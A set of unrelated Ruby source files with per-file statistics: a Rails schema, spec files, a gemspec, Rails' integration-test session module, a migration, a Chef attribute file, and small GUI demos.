@variables[tag] @variables[tag] = val begin yield ensure @variables[tag] = cur end end end ## # Raised when turning the AST into bytecode fails in some way. class GenerationError < Error; end def show_errors(gen) # TODO: remove begin yield rescue GenerationError => e raise e rescue Object => e puts "Bytecode generation error: " puts " #{e.message} (#{e.class})" puts " near #{gen.file||'<missing file>'}:#{gen.line||'<missing line>'}" puts "" puts e.backtrace raise GenerationError, "unable to generate bytecode" end end end require 'compiler/nodes' require 'compiler/local' require 'compiler/bytecode' require 'compiler/generator' require 'compiler/plugins' require 'compiler/stack'
21.287234
84
0.614693
ffd3c19da2c9abff8777039468cc968971cf64e6
1,938
# This file is auto-generated from the current state of the database. Instead # of editing this file, please use the migrations feature of Active Record to # incrementally modify your database, and then regenerate this schema definition. # # This file is the source Rails uses to define your schema when running `bin/rails # db:schema:load`. When creating a new database, `bin/rails db:schema:load` tends to # be faster and is potentially less error prone than running all of your # migrations from scratch. Old migrations may fail to apply correctly if those # migrations use external dependencies or application code. # # It's strongly recommended that you check this file into your version control system. ActiveRecord::Schema.define(version: 2021_06_10_020200) do create_table "comments", force: :cascade do |t| t.text "comment", null: false t.integer "likes", default: 0 t.integer "dislikes", default: 0 t.integer "post_id", null: false t.integer "user_id", null: false t.datetime "created_at", precision: 6, null: false t.datetime "updated_at", precision: 6, null: false t.index ["post_id"], name: "index_comments_on_post_id" t.index ["user_id"], name: "index_comments_on_user_id" end create_table "posts", force: :cascade do |t| t.string "title", null: false t.text "link", null: false t.integer "user_id", null: false t.datetime "created_at", precision: 6, null: false t.datetime "updated_at", precision: 6, null: false t.index ["user_id"], name: "index_posts_on_user_id" end create_table "users", force: :cascade do |t| t.string "username", null: false t.string "email", null: false t.string "pwd", null: false t.datetime "created_at", precision: 6, null: false t.datetime "updated_at", precision: 6, null: false end add_foreign_key "comments", "posts" add_foreign_key "comments", "users" add_foreign_key "posts", "users" end
40.375
86
0.72033
87cdba884bd5d6906fcebb72c8a31c40ebfb940e
796
require 'spec_helper' describe "many to many associations" do it "it is time to count some comments" do React::IsomorphicHelpers.load_context ReactiveRecord.load do TodoItem.find_by_title("a todo for mitch").comments.count end.then do |count| expect(count).to be(1) end end it "is time to see who made the comment" do ReactiveRecord.load do TodoItem.find_by_title("a todo for mitch").comments.first.user.email end.then do |email| expect(email).to eq("[email protected]") end end it "is time to get it directly through the relationship" do ReactiveRecord.load do TodoItem.find_by_title("a todo for mitch").commenters.first.email end.then do |email| expect(email).to eq("[email protected]") end end end
25.677419
74
0.693467
e963412e06fe4620ad0ad3d05311fb6a3c30d43d
2,552
# frozen_string_literal: true RSpec.describe DataEntryGroup do subject { DataEntryGroup.new(data_entry_nodes) } let(:data_entry_nodes) { [node_1, node_2] } describe '#min_distance_from_start' do let(:node_1) { DataEntryNode.new(min_distance_from_start: 2000) } let(:node_2) { DataEntryNode.new(min_distance_from_start: 3000) } it 'returns the minimum distance' do expect(subject.min_distance_from_start).to eq(2000) end end describe '#split_names' do context 'when all nodes have the same split_name' do let(:node_1) { DataEntryNode.new(split_name: 'Aid Station 1') } let(:node_2) { DataEntryNode.new(split_name: 'Aid Station 1') } it 'returns an array of the split names' do expect(subject.split_names).to eq(['Aid Station 1', 'Aid Station 1']) end end context 'when nodes have different split_names' do let(:node_1) { DataEntryNode.new(split_name: 'Start') } let(:node_2) { DataEntryNode.new(split_name: 'Finish') } it 'returns an array of the split_names' do expect(subject.split_names).to eq(%w(Start Finish)) end end end describe '#title' do context 'when all nodes have the same split_name' do let(:node_1) { DataEntryNode.new(split_name: 'Aid Station 1') } let(:node_2) { DataEntryNode.new(split_name: 'Aid Station 1') } it 'returns the split_name' do expect(subject.title).to eq('Aid Station 1') end end context 'when nodes have different split_names' do let(:node_1) { DataEntryNode.new(split_name: 'Start') } let(:node_2) { DataEntryNode.new(split_name: 'Finish') } it 'returns the combined split_names' do expect(subject.title).to eq('Start/Finish') end end context 'when nodes have similar split_names with differences in capitalization' do let(:node_1) { DataEntryNode.new(split_name: 'AID STATION 1') } let(:node_2) { DataEntryNode.new(split_name: 'Aid Station 1') } it 'returns a single split_name with the capitalization of the first node' do expect(subject.title).to eq('AID STATION 1') end end context 'when nodes have similar split_names with differences in punctuation' do let(:node_1) { DataEntryNode.new(split_name: 'Aid-Station(1)') } let(:node_2) { DataEntryNode.new(split_name: 'Aid Station 1') } it 'returns a single split_name with the punctuation of the first node' do expect(subject.title).to eq('Aid-Station(1)') end end end end
34.486486
87
0.677116
f8a1bbd21382cbe63f38ae2c297838a2c7da3872
1,616
# frozen_string_literal: true require_relative 'lib/dc/metrics/version' Gem::Specification.new do |spec| spec.name = 'dc-metrics' spec.version = Dc::Metrics::VERSION spec.authors = ['Lucas Braz', 'Thiago May'] spec.email = ['[email protected]'] spec.summary = "Ruby implementation for DeliveryCenter's structured logging format." spec.description = "Ruby implementation for DeliveryCenter's structured logging format." spec.homepage = 'https://github.com/deliverycenter/dc.libs.metrics.ruby' spec.license = 'MIT' # Specify which files should be added to the gem when it is released. # If hidden files are needed change it to Dir.glob("lib/**/*", File::FNM_DOTMATCH). spec.files = Dir['lib/**/*'] spec.bindir = 'exe' spec.executables = spec.files.grep(%r{^exe/}) { |f| File.basename(f) } spec.require_paths = ['lib'] # Add "CHANGELOG.md" to this list after it is added to the project spec.extra_rdoc_files = Dir['README.md', 'LICENSE.txt'] spec.rdoc_options += [ '--title', 'Dc Metrics - ruby implementation', '--main', 'README.md', '--line-numbers', '--inline-source', '--quiet' ] # TODO: define lowest version of ruby # spec.required_ruby_version = ">= 2.5.0" spec.add_development_dependency 'bundler', '~> 2.1' spec.add_development_dependency 'byebug' spec.add_development_dependency 'rake', '~> 10.0' spec.add_development_dependency 'rspec', '~> 3.0' spec.add_runtime_dependency 'google-protobuf', ' ~> 3.0' spec.add_runtime_dependency 'google-cloud-pubsub' end
38.47619
92
0.670173
4a1e0a97c498526999a4af6726bac73121b00e73
22,287
# frozen_string_literal: true require "stringio" require "uri" require "rack/test" require "minitest" require "action_dispatch/testing/request_encoder" module ActionDispatch module Integration #:nodoc: module RequestHelpers # Performs a GET request with the given parameters. See ActionDispatch::Integration::Session#process # for more details. def get(path, **args) process(:get, path, **args) end # Performs a POST request with the given parameters. See ActionDispatch::Integration::Session#process # for more details. def post(path, **args) process(:post, path, **args) end # Performs a PATCH request with the given parameters. See ActionDispatch::Integration::Session#process # for more details. def patch(path, **args) process(:patch, path, **args) end # Performs a PUT request with the given parameters. See ActionDispatch::Integration::Session#process # for more details. def put(path, **args) process(:put, path, **args) end # Performs a DELETE request with the given parameters. See ActionDispatch::Integration::Session#process # for more details. def delete(path, **args) process(:delete, path, **args) end # Performs a HEAD request with the given parameters. See ActionDispatch::Integration::Session#process # for more details. def head(path, **args) process(:head, path, **args) end # Performs an OPTIONS request with the given parameters. See ActionDispatch::Integration::Session#process # for more details. def options(path, **args) process(:options, path, **args) end # Follow a single redirect response. If the last response was not a # redirect, an exception will be raised. Otherwise, the redirect is # performed on the location header. If the redirection is a 307 or 308 redirect, # the same HTTP verb will be used when redirecting, otherwise a GET request # will be performed. Any arguments are passed to the # underlying request. def follow_redirect!(**args) raise "not a redirect! #{status} #{status_message}" unless redirect? method = if [307, 308].include?(response.status) request.method.downcase else :get end public_send(method, response.location, **args) status end end # An instance of this class represents a set of requests and responses # performed sequentially by a test process. Because you can instantiate # multiple sessions and run them side-by-side, you can also mimic (to some # limited extent) multiple simultaneous users interacting with your system. # # Typically, you will instantiate a new session using # IntegrationTest#open_session, rather than instantiating # Integration::Session directly. class Session DEFAULT_HOST = "www.example.com" include Minitest::Assertions include TestProcess, RequestHelpers, Assertions delegate :status, :status_message, :headers, :body, :redirect?, to: :response, allow_nil: true delegate :path, to: :request, allow_nil: true # The hostname used in the last request. def host @host || DEFAULT_HOST end attr_writer :host # The remote_addr used in the last request. attr_accessor :remote_addr # The Accept header to send. attr_accessor :accept # A map of the cookies returned by the last response, and which will be # sent with the next request. def cookies _mock_session.cookie_jar end # A reference to the controller instance used by the last request. attr_reader :controller # A reference to the request instance used by the last request. attr_reader :request # A reference to the response instance used by the last request. attr_reader :response # A running counter of the number of requests processed. attr_accessor :request_count include ActionDispatch::Routing::UrlFor # Create and initialize a new Session instance. def initialize(app) super() @app = app reset! end def url_options @url_options ||= default_url_options.dup.tap do |url_options| url_options.reverse_merge!(controller.url_options) if controller.respond_to?(:url_options) if @app.respond_to?(:routes) url_options.reverse_merge!(@app.routes.default_url_options) end url_options.reverse_merge!(host: host, protocol: https? ? "https" : "http") end end # Resets the instance. This can be used to reset the state information # in an existing session instance, so it can be used from a clean-slate # condition. # # session.reset! def reset! @https = false @controller = @request = @response = nil @_mock_session = nil @request_count = 0 @url_options = nil self.host = DEFAULT_HOST self.remote_addr = "127.0.0.1" self.accept = "text/xml,application/xml,application/xhtml+xml," \ "text/html;q=0.9,text/plain;q=0.8,image/png," \ "*/*;q=0.5" unless defined? @named_routes_configured # the helpers are made protected by default--we make them public for # easier access during testing and troubleshooting. @named_routes_configured = true end end # Specify whether or not the session should mimic a secure HTTPS request. # # session.https! # session.https!(false) def https!(flag = true) @https = flag end # Returns +true+ if the session is mimicking a secure HTTPS request. # # if session.https? # ... # end def https? @https end # Performs the actual request. # # - +method+: The HTTP method (GET, POST, PATCH, PUT, DELETE, HEAD, OPTIONS) # as a symbol. # - +path+: The URI (as a String) on which you want to perform the # request. # - +params+: The HTTP parameters that you want to pass. This may # be +nil+, # a Hash, or a String that is appropriately encoded # (<tt>application/x-www-form-urlencoded</tt> or # <tt>multipart/form-data</tt>). # - +headers+: Additional headers to pass, as a Hash. The headers will be # merged into the Rack env hash. # - +env+: Additional env to pass, as a Hash. The headers will be # merged into the Rack env hash. # - +xhr+: Set to +true+ if you want to make and Ajax request. # Adds request headers characteristic of XMLHttpRequest e.g. HTTP_X_REQUESTED_WITH. # The headers will be merged into the Rack env hash. # - +as+: Used for encoding the request with different content type. # Supports +:json+ by default and will set the appropriate request headers. # The headers will be merged into the Rack env hash. # # This method is rarely used directly. Use +#get+, +#post+, or other standard # HTTP methods in integration tests. +#process+ is only required when using a # request method that doesn't have a method defined in the integration tests. # # This method returns the response status, after performing the request. # Furthermore, if this method was called from an ActionDispatch::IntegrationTest object, # then that object's <tt>@response</tt> instance variable will point to a Response object # which one can use to inspect the details of the response. # # Example: # process :get, '/author', params: { since: 201501011400 } def process(method, path, params: nil, headers: nil, env: nil, xhr: false, as: nil) request_encoder = RequestEncoder.encoder(as) headers ||= {} if method == :get && as == :json && params headers["X-Http-Method-Override"] = "GET" method = :post end if %r{://}.match?(path) path = build_expanded_path(path) do |location| https! URI::HTTPS === location if location.scheme if url_host = location.host default = Rack::Request::DEFAULT_PORTS[location.scheme] url_host += ":#{location.port}" if default != location.port host! url_host end end end hostname, port = host.split(":") request_env = { :method => method, :params => request_encoder.encode_params(params), "SERVER_NAME" => hostname, "SERVER_PORT" => port || (https? ? "443" : "80"), "HTTPS" => https? ? "on" : "off", "rack.url_scheme" => https? ? "https" : "http", "REQUEST_URI" => path, "HTTP_HOST" => host, "REMOTE_ADDR" => remote_addr, "CONTENT_TYPE" => request_encoder.content_type, "HTTP_ACCEPT" => request_encoder.accept_header || accept } wrapped_headers = Http::Headers.from_hash({}) wrapped_headers.merge!(headers) if headers if xhr wrapped_headers["HTTP_X_REQUESTED_WITH"] = "XMLHttpRequest" wrapped_headers["HTTP_ACCEPT"] ||= [Mime[:js], Mime[:html], Mime[:xml], "text/xml", "*/*"].join(", ") end # This modifies the passed request_env directly. if wrapped_headers.present? Http::Headers.from_hash(request_env).merge!(wrapped_headers) end if env.present? Http::Headers.from_hash(request_env).merge!(env) end session = Rack::Test::Session.new(_mock_session) # NOTE: rack-test v0.5 doesn't build a default uri correctly # Make sure requested path is always a full URI. session.request(build_full_uri(path, request_env), request_env) @request_count += 1 @request = ActionDispatch::Request.new(session.last_request.env) response = _mock_session.last_response @response = ActionDispatch::TestResponse.from_response(response) @response.request = @request @html_document = nil @url_options = nil @controller = @request.controller_instance response.status end # Set the host name to use in the next request. # # session.host! "www.example.com" alias :host! :host= private def _mock_session @_mock_session ||= Rack::MockSession.new(@app, host) end def build_full_uri(path, env) "#{env['rack.url_scheme']}://#{env['SERVER_NAME']}:#{env['SERVER_PORT']}#{path}" end def build_expanded_path(path) location = URI.parse(path) yield location if block_given? path = location.path location.query ? "#{path}?#{location.query}" : path end end module Runner include ActionDispatch::Assertions APP_SESSIONS = {} attr_reader :app attr_accessor :root_session # :nodoc: def initialize(*args, &blk) super(*args, &blk) @integration_session = nil end def before_setup # :nodoc: @app = nil super end def integration_session @integration_session ||= create_session(app) end # Reset the current session. This is useful for testing multiple sessions # in a single test case. def reset! @integration_session = create_session(app) end def create_session(app) klass = APP_SESSIONS[app] ||= Class.new(Integration::Session) { # If the app is a Rails app, make url_helpers available on the session. # This makes app.url_for and app.foo_path available in the console. if app.respond_to?(:routes) && app.routes.is_a?(ActionDispatch::Routing::RouteSet) include app.routes.url_helpers include app.routes.mounted_helpers end } klass.new(app) end def remove! # :nodoc: @integration_session = nil end %w(get post patch put head delete cookies assigns follow_redirect!).each do |method| # reset the html_document variable, except for cookies/assigns calls unless method == "cookies" || method == "assigns" reset_html_document = "@html_document = nil" end module_eval <<~RUBY, __FILE__, __LINE__ + 1 def #{method}(...) #{reset_html_document} result = integration_session.#{method}(...) copy_session_variables! result end RUBY end # Open a new session instance. If a block is given, the new session is # yielded to the block before being returned. # # session = open_session do |sess| # sess.extend(CustomAssertions) # end # # By default, a single session is automatically created for you, but you # can use this method to open multiple sessions that ought to be tested # simultaneously. def open_session dup.tap do |session| session.reset! session.root_session = self.root_session || self yield session if block_given? end end def assertions # :nodoc: root_session ? root_session.assertions : super end def assertions=(assertions) # :nodoc: root_session ? root_session.assertions = assertions : super end # Copy the instance variables from the current session instance into the # test instance. def copy_session_variables! #:nodoc: @controller = @integration_session.controller @response = @integration_session.response @request = @integration_session.request end def default_url_options integration_session.default_url_options end def default_url_options=(options) integration_session.default_url_options = options end private def respond_to_missing?(method, _) integration_session.respond_to?(method) || super end # Delegate unhandled messages to the current session instance. ruby2_keywords def method_missing(method, *args, &block) if integration_session.respond_to?(method) integration_session.public_send(method, *args, &block).tap do copy_session_variables! end else super end end end end # An integration test spans multiple controllers and actions, # tying them all together to ensure they work together as expected. It tests # more completely than either unit or functional tests do, exercising the # entire stack, from the dispatcher to the database. # # At its simplest, you simply extend <tt>IntegrationTest</tt> and write your tests # using the get/post methods: # # require "test_helper" # # class ExampleTest < ActionDispatch::IntegrationTest # fixtures :people # # def test_login # # get the login page # get "/login" # assert_equal 200, status # # # post the login and follow through to the home page # post "/login", params: { username: people(:jamis).username, # password: people(:jamis).password } # follow_redirect! # assert_equal 200, status # assert_equal "/home", path # end # end # # However, you can also have multiple session instances open per test, and # even extend those instances with assertions and methods to create a very # powerful testing DSL that is specific for your application. You can even # reference any named routes you happen to have defined. # # require "test_helper" # # class AdvancedTest < ActionDispatch::IntegrationTest # fixtures :people, :rooms # # def test_login_and_speak # jamis, david = login(:jamis), login(:david) # room = rooms(:office) # # jamis.enter(room) # jamis.speak(room, "anybody home?") # # david.enter(room) # david.speak(room, "hello!") # end # # private # # module CustomAssertions # def enter(room) # # reference a named route, for maximum internal consistency! # get(room_url(id: room.id)) # assert(...) # ... # end # # def speak(room, message) # post "/say/#{room.id}", xhr: true, params: { message: message } # assert(...) # ... # end # end # # def login(who) # open_session do |sess| # sess.extend(CustomAssertions) # who = people(who) # sess.post "/login", params: { username: who.username, # password: who.password } # assert(...) # end # end # end # # Another longer example would be: # # A simple integration test that exercises multiple controllers: # # require "test_helper" # # class UserFlowsTest < ActionDispatch::IntegrationTest # test "login and browse site" do # # login via https # https! # get "/login" # assert_response :success # # post "/login", params: { username: users(:david).username, password: users(:david).password } # follow_redirect! # assert_equal '/welcome', path # assert_equal 'Welcome david!', flash[:notice] # # https!(false) # get "/articles/all" # assert_response :success # assert_select 'h1', 'Articles' # end # end # # As you can see the integration test involves multiple controllers and # exercises the entire stack from database to dispatcher. In addition you can # have multiple session instances open simultaneously in a test and extend # those instances with assertion methods to create a very powerful testing # DSL (domain-specific language) just for your application. # # Here's an example of multiple sessions and custom DSL in an integration test # # require "test_helper" # # class UserFlowsTest < ActionDispatch::IntegrationTest # test "login and browse site" do # # User david logs in # david = login(:david) # # User guest logs in # guest = login(:guest) # # # Both are now available in different sessions # assert_equal 'Welcome david!', david.flash[:notice] # assert_equal 'Welcome guest!', guest.flash[:notice] # # # User david can browse site # david.browses_site # # User guest can browse site as well # guest.browses_site # # # Continue with other assertions # end # # private # # module CustomDsl # def browses_site # get "/products/all" # assert_response :success # assert_select 'h1', 'Products' # end # end # # def login(user) # open_session do |sess| # sess.extend(CustomDsl) # u = users(user) # sess.https! # sess.post "/login", params: { username: u.username, password: u.password } # assert_equal '/welcome', sess.path # sess.https!(false) # end # end # end # # See the {request helpers documentation}[rdoc-ref:ActionDispatch::Integration::RequestHelpers] for help on how to # use +get+, etc. # # === Changing the request encoding # # You can also test your JSON API easily by setting what the request should # be encoded as: # # require "test_helper" # # class ApiTest < ActionDispatch::IntegrationTest # test "creates articles" do # assert_difference -> { Article.count } do # post articles_path, params: { article: { title: "Ahoy!" } }, as: :json # end # # assert_response :success # assert_equal({ id: Article.last.id, title: "Ahoy!" }, response.parsed_body) # end # end # # The +as+ option passes an "application/json" Accept header (thereby setting # the request format to JSON unless overridden), sets the content type to # "application/json" and encodes the parameters as JSON. # # Calling +parsed_body+ on the response parses the response body based on the # last response MIME type. # # Out of the box, only <tt>:json</tt> is supported. But for any custom MIME # types you've registered, you can add your own encoders with: # # ActionDispatch::IntegrationTest.register_encoder :wibble, # param_encoder: -> params { params.to_wibble }, # response_parser: -> body { body } # # Where +param_encoder+ defines how the params should be encoded and # +response_parser+ defines how the response body should be parsed through # +parsed_body+. # # Consult the Rails Testing Guide for more. class IntegrationTest < ActiveSupport::TestCase include TestProcess::FixtureFile module UrlOptions extend ActiveSupport::Concern def url_options integration_session.url_options end end module Behavior extend ActiveSupport::Concern include Integration::Runner include ActionController::TemplateAssertions included do include ActionDispatch::Routing::UrlFor include UrlOptions # don't let UrlFor override the url_options method ActiveSupport.run_load_hooks(:action_dispatch_integration_test, self) @@app = nil end module ClassMethods def app if defined?(@@app) && @@app @@app else ActionDispatch.test_app end end def app=(app) @@app = app end def register_encoder(*args, **options) RequestEncoder.register_encoder(*args, **options) end end def app super || self.class.app end def document_root_element html_document.root end end include Behavior end end
32.63104
116
0.614349
4a8fdbefdacd6e094d58529c72735f23a880fd90
434
class AddUsergroups < ActiveRecord::Migration def self.up create_table :usergroups do |t| t.string :name t.boolean :is_admin end create_table :usergroups_users, :id => false do |t| t.integer :usergroup_id t.integer :user_id end Usergroup.find_or_create_by(:name => 'Admins', :is_admin => true) end def self.down drop_table :usergroups drop_table :usergroups_users end end
22.842105
69
0.675115
bf16b19be6250db067bac812cf44abb84e2ba5b5
1,448
require_relative 'test_helper' class TestFakerCode < Test::Unit::TestCase def setup @tester = Faker::Code end def test_npi_regexp assert @tester.npi.match(/[0-9]{10}/) end def test_deterministic_npi Faker::Config.random = Random.new(42) v = @tester.npi Faker::Config.random = Random.new(42) assert v == @tester.npi end def test_default_isbn_regexp assert @tester.isbn.match(/^\d{9}-[\d|X]$/) end def test_default_isbn13_regexp assert @tester.isbn(13).match(/^\d{12}-\d$/) end def test_default_ean_regexp assert @tester.ean.match(/^\d{13}$/) end def test_default_ean8_regexp assert @tester.ean(8).match(/^\d{8}$/) end def test_rut assert @tester.rut.match(/^\d{1,8}-(\d|k)$/) end def test_asin assert @tester.asin.match(/^B000([A-Z]|\d){6}$/) end def test_nric assert @tester.nric.match(/^(S|T)\d{7}[A-JZ]$/) end def test_imei_regexp assert @tester.imei.match(/\A[\d\.\:\-\s]+\z/i) end def test_imei_luhn_value assert luhn_checksum_valid(@tester.imei) end def test_sin assert @tester.sin.match(/\d{9}/) assert @tester.sin.length == 9 assert luhn_checksum_valid(@tester.sin) end def luhn_checksum_valid(numbers) sum = 0 i = 0 numbers.each_char do |ch| n = ch.to_i n *= 2 if i.odd? n = 1 + (n - 10) if n >= 10 sum += n i += 1 end (sum % 10).zero? end end
18.564103
52
0.616022
089e55a7523e4b2dab944f7f5a26eccd05a46e6c
2,923
module AbAdmin module Controllers module Callbacks extend ActiveSupport::Concern protected def create_resource(object) run_create_callbacks(object) {save_resource(object)} end def save_resource(object) run_save_callbacks(object) {object.save} end def update_resource(object, attributes) object.assign_attributes(attributes) save_resource(object) end # Simple callback system. Implements before and after callbacks for # use within the controllers. # # We didn't use the ActiveSupport callbacks because they do not support # passing in any arbitrary object into the callback method (which we # need to do) def call_callback_with(method, *args) case method when Symbol send(method, *args) when Proc instance_exec(*args, &method) else raise 'Please register with callbacks using a symbol or a block/proc.' end end module ClassMethods # Define a new callback. # # Example: # # class MyClassWithCallbacks # include ActiveAdmin::Callbacks # # define_admin_callbacks :save # # before_save do |arg1, arg2| # # runs before save # end # # after_save :call_after_save # # def save # # Will run before, yield, then after # run_save_callbacks :arg1, :arg2 do # save! # end # end # # protected # # def call_after_save(arg1, arg2) # # runs after save # end # end # def define_admin_callbacks(*names) names.each do |name| [:before, :after].each do |type| # Define a method to set the callback class_eval(<<-EOS, __FILE__, __LINE__ + 1) # def self.before_create_callbacks def self.#{type}_#{name}_callbacks @#{type}_#{name}_callbacks ||= [] end # def self.before_create def self.#{type}_#{name}(method = nil, &block) #{type}_#{name}_callbacks << (method || block) end EOS end # Define a method to run the callbacks class_eval(<<-EOS, __FILE__, __LINE__ + 1) def run_#{name}_callbacks(*args) self.class.before_#{name}_callbacks.each{|callback| call_callback_with(callback, *args)} value = yield if block_given? self.class.after_#{name}_callbacks.each{|callback| call_callback_with(callback, *args)} return value end EOS end end end end end end
28.656863
102
0.530277
2191182451e9e66d22b9bd809398de81ce0b11df
196
desc "Update user data usage records from Twilio" task :update_user_data_usage_records => [:environment] do |t| User.all.each do |u| FetchDataUsageRecordsWorker.perform_async(u.id) end end
32.666667
61
0.770408
21e93c7504ee434e44b0965926644a0c8c1735a0
859
# -*- coding: utf-8 -*- %w[xot rays reflex] .map {|s| File.expand_path "../../../#{s}/lib", __FILE__} .each {|s| $:.unshift s if !$:.include?(s) && File.directory?(s)} require 'reflex' class HelloWindow < Reflex::Window def initialize () super title: "Hello Reflex!", frame: [100, 100, 320, 240] p = painter p.font Reflex::Font.new "Menlo", 32 p.background 0 p.fill 1 end def on_draw (e) p = e.painter draw_grid p p.text "hello world!", 5, 5 end def on_update (e) painter.background = rand, rand, rand redraw end def draw_grid (painter) painter.push do |p| w, h = frame.size.to_a p.stroke 0.5, 0.4 (0..w).step(5).each {|x| p.line x, 0, x, h} (0..h).step(5).each {|y| p.line 0, y, w, y} end end end# HelloWindow Reflex.start do HelloWindow.new.show end
18.276596
67
0.575087
d5b4a02c77a3ec0ff8c55b7cbeefa6bde0e2a7d3
1,575
describe 'datadog::redisdb' do expected_yaml = <<-EOF init_config: instances: - host: localhost port: 6379 db: 0 password: mypassword socket_timeout: 5 tags: - optional_tag1 - optional_tag2 keys: - key1 - key2 warn_on_missing_keys: True slowlog-max-len: 128 EOF cached(:chef_run) do ChefSpec::SoloRunner.new(step_into: ['datadog_monitor']) do |node| node.automatic['languages'] = { 'python' => { 'version' => '2.7.2' } } node.set['datadog'] = { 'api_key' => 'someapikey', 'redisdb' => { 'instances' => [ { 'db' => 0, 'keys' => ['key1', 'key2'], 'port' => 6379, 'password' => 'mypassword', 'server' => 'localhost', 'slowlog-max-len' => 128, 'socket_timeout' => 5, 'tags' => [ 'optional_tag1', 'optional_tag2' ], 'warn_on_missing_keys' => true } ] } } end.converge(described_recipe) end subject { chef_run } it_behaves_like 'datadog-agent' it { is_expected.to include_recipe('datadog::dd-agent') } it { is_expected.to add_datadog_monitor('redisdb') } it 'renders expected YAML config file' do expect(chef_run).to render_file('/etc/dd-agent/conf.d/redisdb.yaml').with_content { |content| expect(YAML.load(content).to_json).to be_json_eql(YAML.load(expected_yaml).to_json) } end end
25
97
0.527619
1c3f590be2e6bf16de774002a37e5b45167d38d2
512
# The Book of Ruby - http://www.sapphiresteel.com module MagicThing attr_accessor :power end module Treasure attr_accessor :value attr_accessor :owner end class Weapon attr_accessor :deadliness end class Sword < Weapon include Treasure include MagicThing attr_accessor :name end s = Sword.new s.name = "Excalibur" s.deadliness = "fatal" s.value = 1000 s.owner = "Gribbit The Dragon" s.power = "Glows when Orcs Appear" puts(s.name) puts(s.deadliness) puts(s.value) puts(s.owner) puts(s.power)
14.628571
49
0.744141
1a69773346c90841b1d05b00d9268b5ab398fd17
251
module CSVImporter # A Column from a CSV file with a `name` (from the csv file) and a matching # `ColumnDefinition` if any. class Column include Virtus.model attribute :name, String attribute :definition, ColumnDefinition end end
22.818182
77
0.721116
33444c2a7dc1b30ccc84bca6ad1b1f4773a6e5bd
862
# frozen_string_literal: true module Users class ActivityService LEASE_TIMEOUT = 1.minute.to_i def initialize(author, activity) @user = if author.respond_to?(:username) author elsif author.respond_to?(:user) author.user end @user = nil unless @user.is_a?(User) @activity = activity end def execute return unless @user record_activity end private def record_activity return if Gitlab::Database.read_only? today = Date.today return if @user.last_activity_on == today lease = Gitlab::ExclusiveLease.new("activity_service:#{@user.id}", timeout: LEASE_TIMEOUT) return unless lease.try_obtain @user.update_attribute(:last_activity_on, today) end end end
21.02439
72
0.602088
7991405bfe08b70a91b715039fcb239b6773e9fe
652
require 'green_shoes' TEXT =<<EOS Lorem ipsum dolor sit amet, consectetur adipisicing elit, \ sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris \ nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in \ reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in \ culpa qui officia deserunt mollit anim id est laborum. EOS NL = "\n" Shoes.app do lines = TEXT.split("\n") para lines[0], NL para lines[1], NL, justify: true para lines[2], NL, leading: -5 end
31.047619
78
0.742331
b9ff3f2ccb17c4a9f3e8ea080c0b9252dc1914c9
405
include_attribute 'deploy' default[:sidekiq] = {} node[:deploy].each do |application, deploy| unless node[:sidekiq][application] next end default[:sidekiq][application.intern] = {} default[:sidekiq][application.intern][:restart_command] = "sudo /sbin/restart workers" default[:sidekiq][application.intern][:syslog] = false default[:sidekiq][application.intern][:syslog_ident] = nil end
27
88
0.728395